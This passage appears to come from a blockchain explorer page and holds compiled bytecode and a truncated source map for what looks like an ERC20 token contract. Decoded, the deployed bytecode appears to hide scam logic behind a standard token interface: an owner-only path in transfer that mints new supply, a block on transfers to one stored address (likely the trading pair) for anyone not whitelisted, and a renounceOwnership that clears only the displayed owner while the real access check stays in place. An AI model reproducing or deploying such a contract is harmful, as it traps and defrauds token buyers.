6000611b3f82611a87565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b7257611b71611b7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611ee281611a49565b8114611eed57600080fd5b50565b611ef981611a87565b8114611f0457600080fd5b5056fea26469706673582212206d87e62fdc5aeb446d5793473554d159478e45ab137b8a75d3b2afe76d9ff43164736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063ee5491ed14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b80630570b1fa146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f91906115ab565b610322565b005b61011e6103fd565b60405161012b91906117da565b60405180910390f35b61014e6004803603810190610149919061156b565b61048f565b60405161015b91906117bf565b60405180910390f35b61016c6104ad565b604051610179919061191c565b60405180910390f35b61019c60048036038101906101979190611518565b6104b7565b6040516101a991906117bf565b60405180910390f35b6101ba6105b8565b6040516101c79190611937565b60405180910390f35b6101ea60048036038101906101e5919061156b565b6105e0565b6040516101f791906117bf565b60405180910390f35b61021a600480360381019061021591906114ab565b61068c565b604051610227919061191c565b60405180910390f35b6102386106d5565b005b61024261082b565b60405161024f91906117a4565b60405180910390f35b610260610851565b60405161026d91906117da565b60405180910390f35b610290600480360381019061028b919061156b565b6108e3565b60405161029d91906117bf565b60405180910390f35b6102c060048036038101906102bb919061156b565b6109d7565b6040516102cd91906117bf565b60405180910390f35b6102f060048036038101906102eb91906114d8565b610c3e565b6040516102fd919061191c565b60405180910390f35b610320600480360381019061031b91906114ab565b610cc5565b005b61032a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae9061189c565b60405180910390fd5b60005b81518110156103f9576103e68282815181106103d9576103d8611bdb565b5b6020026020010151610da6565b80806103f190611b34565b9150506103ba565b5050565b60606007805461040c90611ad1565b80601f016020809104026020016040519081016040528092919081815260200182805461043890611ad1565b80156104855780601f1061045a57610100808354040283529160200191610485565b820191906000526020600020905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b60006104a361049c610d9e565b8484610e96565b6001905092915050565b6000600654905090565b60006104c4848484611061565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105869061187c565b60405180910390fd5b6105ac8561059b610d9e565b85846105a79190611a15565b610e96565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006106826105ed610d9e565b8484600560006105fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067d91906119bf565b610e96565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106dd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107619061189c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f60405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461086090611ad1565b80601f016020809104026020016040519081016040528092919081815260200182805461088c90611ad1565b80156108d95780601f106108ae576101008083540402835291602001916108d9565b820191906000526020600020905b8154815290600101906020018083116108bc57829003601f168201915b5050505050905090565b600080600560006108f2610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a6906118fc565b60405180910390fd5b6109cc6109ba610d9e565b8585846109c79190611a15565b610e96565b600191505092915050565b60006109e1610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4e575060011515600960009054906101000a900460ff161515145b15610a8957610a65610a5e610d9e565b8484611061565b6000600960006101000a81548160ff02191690831515021790555060019050610c38565b610a91610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afe575060001515600960009054906101000a900460ff161515145b15610c2157610b188260065461138590919063ffffffff16565b600681905550610b7082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c10919061191c565b60405180910390a360019050610c38565b610c33610c2c610d9e565b8484611061565b600190505b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ccd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d519061189c565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b610dae610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e329061189c565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd906118dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d9061181c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611054919061191c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c8906118bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611141576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611138906117fc565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ee57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111ed57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c9061185c565b60405180910390fd5b81816112819190611a15565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461131391906119bf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611377919061191c565b60405180910390a350505050565b600080828461139491906119bf565b9050838110156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d09061183c565b60405180910390fd5b8091505092915050565b60006113f66113f184611977565b611952565b9050808382526020820190508285602086028201111561141957611418611c3e565b5b60005b85811015611449578161142f8882611453565b84526020840193506020830192505060018101905061141c565b5050509392505050565b60008135905061146281611ed9565b92915050565b600082601f83011261147d5761147c611c39565b5b813561148d8482602086016113e3565b91505092915050565b6000813590506114a581611ef0565b92915050565b6000602082840312156114c1576114c0611c48565b5b60006114cf84828501611453565b91505092915050565b600080604083850312156114ef576114ee611c48565b5b60006114fd85828601611453565b925050602061150e85828601611453565b9150509250929050565b60008060006060848603121561153157611530611c48565b5b600061153f86828701611453565b935050602061155086828701611453565b925050604061156186828701611496565b9150509250925092565b6000806040838503121561158257611581611c48565b5b600061159085828601611453565b92505060206115a185828601611496565b9150509250929050565b6000602082840312156115c1576115c0611c48565b5b600082013567ffffffffffffffff8111156115df576115de611c43565b5b6115eb84828501611468565b91505092915050565b6115fd81611a49565b82525050565b61160c81611a5b565b82525050565b600061161d826119a3565b61162781856119ae565b9350611637818560208601611a9e565b61164081611c4d565b840191505092915050565b60006116586023836119ae565b915061166382611c5e565b604082019050919050565b600061167b6022836119ae565b915061168682611cad565b604082019050919050565b600061169e601b836119ae565b91506116a982611cfc565b602082019050919050565b60006116c16026836119ae565b91506116cc82611d25565b604082019050919050565b60006116e46028836119ae565b91506116ef82611d74565b604082019050919050565b60006117076020836119ae565b915061171282611dc3565b602082019050919050565b600061172a6025836119ae565b915061173582611dec565b604082019050919050565b600061174d6024836119ae565b915061175882611e3b565b604082019050919050565b60006117706025836119ae565b915061177b82611e8a565b604082019050919050565b61178f81611a87565b82525050565b61179e81611a91565b82525050565b60006020820190506117b960008301846115f4565b92915050565b60006020820190506117d46000830184611603565b92915050565b600060208201905081810360008301526117f48184611612565b905092915050565b600060208201905081810360008301526118158161164b565b9050919050565b600060208201905081810360008301526118358161166e565b9050919050565b6000602082019050818103600083015261185581611691565b9050919050565b60006020820190508181036000830152611875816116b4565b9050919050565b60006020820190508181036000830152611895816116d7565b9050919050565b600060208201905081810360008301526118b5816116fa565b9050919050565b600060208201905081810360008301526118d58161171d565b9050919050565b600060208201905081810360008301526118f581611740565b9050919050565b6000602082019050818103600083015261191581611763565b9050919050565b60006020820190506119316000830184611786565b92915050565b600060208201905061194c6000830184611795565b92915050565b600061195c61196d565b90506119688282611b03565b919050565b6000604051905090565b600067ffffffffffffffff82111561199257611991611c0a565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006119ca82611a87565b91506119d583611a87565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a0a57611a09611b7d565b5b828201905092915050565b6000611a2082611a87565b9150611a2b83611a87565b925082821015611a3e57611a3d611b7d565b5b828203905092915050565b6000611a5482611a67565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611abc578082015181840152602081019050611aa1565b83811115611acb576000848401525b50505050565b60006002820490506001821680611ae957607f821691505b60208210811415611afd57611afc611bac565b5b50919050565b611b0c82611c4d565b810181811067ffffffffffffffff82111715611b2b57611b2a611c0a565b5b80604052505050565b6000611b3f82611a87565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b7257611b71611b7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611ee281611a49565b8114611eed57600080fd5b50565b611ef981611a87565b8114611f0457600080fd5b5056fea26469706673582212206d87e62fdc5aeb446d5793473554d159478e45ab137b8a75d3b2afe76d9ff43164736f6c63430008070033

Deployed Bytecode Sourcemap

14924:362:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11907:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7911:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10792:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9196:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10967:418;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15183:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12075:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9622:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6789:132;;;:::i;:::-;;5889:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8330:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12296:375;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10119:510;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10635:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8661:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11907:158;6237:12;:10;:12::i;:::-;6223:26;;:10;;;;;;;;;;:26;;;6215:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;11982:9:::1;11977:81;12001:7;:14;11997:1;:18;11977:81;;;12037:18;12044:7;12052:1;12044:10;;;;;;;;:::i;:::-;;;;;;;;12037:6;:18::i;:::-;12017:3;;;;;:::i;:::-;;;;11977:81;;;;11907:158:::0;:::o;7911:100::-;7965:13;7998:5;7991:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7911:100;:::o;10792:169::-;10875:4;10892:39;10901:12;:10;:12::i;:::-;10915:7;10924:6;10892:8;:39::i;:::-;10949:4;10942:11;;10792:169;;;;:::o;9196:108::-;9257:7;9284:12;;9277:19;;9196:108;:::o;10967:418::-;11073:4;11090:36;11100:6;11108:9;11119:6;11090:9;:36::i;:::-;11137:24;11164:11;:19;11176:6;11164:19;;;;;;;;;;;;;;;:33;11184:12;:10;:12::i;:::-;11164:33;;;;;;;;;;;;;;;;11137:60;;11236:6;11216:16;:26;;11208:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;11298:57;11307:6;11315:12;:10;:12::i;:::-;11348:6;11329:16;:25;;;;:::i;:::-;11298:8;:57::i;:::-;11373:4;11366:11;;;10967:418;;;;;:::o;15183:100::-;15241:5;15266:9;15259:16;;15183:100;:::o;12075:215::-;12163:4;12180:80;12189:12;:10;:12::i;:::-;12203:7;12249:10;12212:11;:25;12224:12;:10;:12::i;:::-;12212:25;;;;;;;;;;;;;;;:34;12238:7;12212:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;12180:8;:80::i;:::-;12278:4;12271:11;;12075:215;;;;:::o;9622:127::-;9696:7;9723:9;:18;9733:7;9723:18;;;;;;;;;;;;;;;;9716:25;;9622:127;;;:::o;6789:132::-;6237:12;:10;:12::i;:::-;6223:26;;:10;;;;;;;;;;:26;;;6215:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6880:1:::1;6857:26;;6865:5;;;;;;;;;;;6857:26;;;;;;;;;;;;6911:1;6895:5;;:18;;;;;;;;;;;;;;;;;;6789:132::o:0;5889:20::-;;;;;;;;;;;;;:::o;8330:104::-;8386:13;8419:7;8412:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8330:104;:::o;12296:375::-;12389:4;12406:24;12433:11;:25;12445:12;:10;:12::i;:::-;12433:25;;;;;;;;;;;;;;;:34;12459:7;12433:34;;;;;;;;;;;;;;;;12406:61;;12506:15;12486:16;:35;;12478:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;12574:67;12583:12;:10;:12::i;:::-;12597:7;12625:15;12606:16;:34;;;;:::i;:::-;12574:8;:67::i;:::-;12659:4;12652:11;;;12296:375;;;;:::o;10119:510::-;10198:4;10233:12;:10;:12::i;:::-;10219:26;;:10;;;;;;;;;;:26;;;10218:45;;;;;10258:4;10251:11;;:5;;;;;;;;;;;:11;;;10218:45;10215:407;;;10265:42;10275:12;:10;:12::i;:::-;10289:9;10300:6;10265:9;:42::i;:::-;10315:5;10309;;:11;;;;;;;;;;;;;;;;;;10328:4;10321:11;;;;10215:407;10367:12;:10;:12::i;:::-;10353:26;;:10;;;;;;;;;;:26;;;10352:46;;;;;10392:5;10385:12;;:5;;;;;;;;;;;:12;;;10352:46;10349:273;;;10413:24;10430:6;10413:12;;:16;;:24;;;;:::i;:::-;10400:12;:37;;;;10459:32;10484:6;10459:9;:20;10469:9;10459:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10438:9;:20;10448:9;10438:20;;;;;;;;;;;;;;;:53;;;;10517:9;10497:38;;10506:9;10497:38;;;10528:6;10497:38;;;;;;:::i;:::-;;;;;;;;10544:4;10537:11;;;;10349:273;10565:42;10575:12;:10;:12::i;:::-;10589:9;10600:6;10565:9;:42::i;:::-;10616:4;10609:11;;10119:510;;;;;:::o;10635:151::-;10724:7;10751:11;:18;10763:5;10751:18;;;;;;;;;;;;;;;:27;10770:7;10751:27;;;;;;;;;;;;;;;;10744:34;;10635:151;;;;:::o;8661:108::-;6237:12;:10;:12::i;:::-;6223:26;;:10;;;;;;;;;;:26;;;6215:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8745:16:::1;8736:6;;:25;;;;;;;;;;;;;;;;;;8661:108:::0;:::o;498:98::-;551:7;578:10;571:17;;498:98;:::o;11761:90::-;6237:12;:10;:12::i;:::-;6223:26;;:10;;;;;;;;;;:26;;;6215:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;11839:4:::1;11821:7;:15;11829:6;11821:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;11761:90:::0;:::o;14209:344::-;14328:1;14311:19;;:5;:19;;;;14303:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14409:1;14390:21;;:7;:21;;;;14382:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14491:6;14461:11;:18;14473:5;14461:18;;;;;;;;;;;;;;;:27;14480:7;14461:27;;;;;;;;;;;;;;;:36;;;;14529:7;14513:32;;14522:5;14513:32;;;14538:6;14513:32;;;;;;:::i;:::-;;;;;;;;14209:344;;;:::o;12677:808::-;12801:1;12783:20;;:6;:20;;;;12775:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;12885:1;12864:23;;:9;:23;;;;12856:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12955:6;;;;;;;;;;;12942:19;;:9;:19;;;12938:63;;;12982:7;:15;12990:6;12982:15;;;;;;;;;;;;;;;;;;;;;;;;;12974:24;;;;;;12938:63;13011:21;13035:9;:17;13045:6;13035:17;;;;;;;;;;;;;;;;13011:41;;13088:6;13071:13;:23;;13063:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;13184:6;13168:13;:22;;;;:::i;:::-;13148:9;:17;13158:6;13148:17;;;;;;;;;;;;;;;:42;;;;13225:6;13201:9;:20;13211:9;13201:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;13264:9;13247:35;;13256:6;13247:35;;;13275:6;13247:35;;;;;;:::i;:::-;;;;;;;;12764:721;12677:808;;;:::o;2790:181::-;2848:7;2868:9;2884:1;2880;:5;;;;:::i;:::-;2868:17;;2909:1;2904;:6;;2896:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2962:1;2955:8;;;2790:181;;;;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:143;;;404:79;;:::i;:::-;350:143;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;24:722;;;;;:::o;752:139::-;798:5;836:6;823:20;814:29;;852:33;879:5;852:33;:::i;:::-;752:139;;;;:::o;914:370::-;985:5;1034:3;1027:4;1019:6;1015:17;1011:27;1001:122;;1042:79;;:::i;:::-;1001:122;1159:6;1146:20;1184:94;1274:3;1266:6;1259:4;1251:6;1247:17;1184:94;:::i;:::-;1175:103;;991:293;914:370;;;;:::o;1290:139::-;1336:5;1374:6;1361:20;1352:29;;1390:33;1417:5;1390:33;:::i;:::-;1290:139;;;;:::o;1435:329::-;1494:6;1543:2;1531:9;1522:7;1518:23;1514:32;1511:119;;;1549:79;;:::i;:::-;1511:119;1669:1;1694:53;1739:7;1730:6;1719:9;1715:22;1694:53;:::i;:::-;1684:63;;1640:117;1435:329;;;;:::o;1770:474::-;1838:6;1846;1895:2;1883:9;1874:7;1870:23;1866:32;1863:119;;;1901:79;;:::i;:::-;1863:119;2021:1;2046:53;2091:7;2082:6;2071:9;2067:22;2046:53;:::i;:::-;2036:63;;1992:117;2148:2;2174:53;2219:7;2210:6;2199:9;2195:22;2174:53;:::i;:::-;2164:63;;2119:118;1770:474;;;;;:::o;2250:619::-;2327:6;2335;2343;2392:2;2380:9;2371:7;2367:23;2363:32;2360:119;;;2398:79;;:::i;:::-;2360:119;2518:1;2543:53;2588:7;2579:6;2568:9;2564:22;2543:53;:::i;:::-;2533:63;;2489:117;2645:2;2671:53;2716:7;2707:6;2696:9;2692:22;2671:53;:::i;:::-;2661:63;;2616:118;2773:2;2799:53;2844:7;2835:6;2824:9;2820:22;2799:53;:::i;:::-;2789:63;;2744:118;2250:619;;;;;:::o;2875:474::-;2943:6;2951;3000:2;2988:9;2979:7;2975:23;2971:32;2968:119;;;3006:79;;:::i;:::-;2968:119;3126:1;3151:53;3196:7;3187:6;3176:9;3172:22;3151:53;:::i;:::-;3141:63;;3097:117;3253:2;3279:53;3324:7;3315:6;3304:9;3300:22;3279:53;:::i;:::-;3269:63;;3224:118;2875:474;;;;;:::o;3355:539::-;3439:6;3488:2;3476:9;3467:7;3463:23;3459:32;3456:119;;;3494:79;;:::i;:::-;3456:119;3642:1;3631:9;3627:17;3614:31;3672:18;3664:6;3661:30;3658:117;;;3694:79;;:::i;:::-;3658:117;3799:78;3869:7;3860:6;3849:9;3845:22;3799:78;:::i;:::-;3789:88;;3585:302;3355:539;;;;:::o;3900:118::-;3987:24;4005:5;3987:24;:::i;:::-;3982:3;3975:37;3900:118;;:::o;4024:109::-;4105:21;4120:5;4105:21;:::i;:::-;4100:3;4093:34;4024:109;;:::o;4139:364::-;4227:3;4255:39;4288:5;4255:39;:::i;:::-;4310:71;4374:6;4369:3;4310:71;:::i;:::-;4303:78;;4390:52;4435:6;4430:3;4423:4;4416:5;4412:16;4390:52;:::i;:::-;4467:29;4489:6;4467:29;:::i;:::-;4462:3;4458:39;4451:46;;4231:272;4139:364;;;;:::o;4509:366::-;4651:3;4672:67;4736:2;4731:3;4672:67;:::i;:::-;4665:74;;4748:93;4837:3;4748:93;:::i;:::-;4866:2;4861:3;4857:12;4850:19;;4509:366;;;:::o;4881:::-;5023:3;5044:67;5108:2;5103:3;5044:67;:::i;:::-;5037:74;;5120:93;5209:3;5120:93;:::i;:::-;5238:2;5233:3;5229:12;5222:19;;4881:366;;;:::o;5253:::-;5395:3;5416:67;5480:2;5475:3;5416:67;:::i;:::-;5409:74;;5492:93;5581:3;5492:93;:::i;:::-;5610:2;5605:3;5601:12;5594:19;;5253:366;;;:::o;5625:::-;5767:3;5788:67;5852:2;5847:3;5788:67;:::i;:::-;5781:74;;5864:93;5953:3;5864:93;:::i;:::-;5982:2;5977:3;5973:12;5966:19;;5625:366;;;:::o;5997:::-;6139:3;6160:67;6224:2;6219:3;6160:67;:::i;:::-;6153:74;;6236:93;6325:3;6236:93;:::i;:::-;6354:2;6349:3;6345:12;6338:19;;5997:366;;;:::o;6369:::-;6511:3;6532:67;6596:2;6591:3;6532:67;:::i;:::-;6525:74;;6608:93;6697:3;6608:93;:::i;:::-;6726:2;6721:3;6717:12;6710:19;;6369:366;;;:::o;6741:::-;6883:3;6904:67;6968:2;6963:3;6904:67;:::i;:::-;6897:74;;6980:93;7069:3;6980:93;:::i;:::-;7098:2;7093:3;7089:12;7082:19;;6741:366;;;:::o;7113:::-;7255:3;7276:67;7340:2;7335:3;7276:67;:::i;:::-;7269:74;;7352:93;7441:3;7352:93;:::i;:::-;7470:2;7465:3;7461:12;7454:19;;7113:366;;;:::o;7485:::-;7627:3;7648:67;7712:2;7707:3;7648:67;:::i;:::-;7641:74;;7724:93;7813:3;7724:93;:::i;:::-;7842:2;7837:3;7833:12;7826:19;;7485:366;;;:::o;7857:118::-;7944:24;7962:5;7944:24;:::i;:::-;7939:3;7932:37;7857:118;;:::o;7981:112::-;8064:22;8080:5;8064:22;:::i;:::-;8059:3;8052:35;7981:112;;:::o;8099:222::-;8192:4;8230:2;8219:9;8215:18;8207:26;;8243:71;8311:1;8300:9;8296:17;8287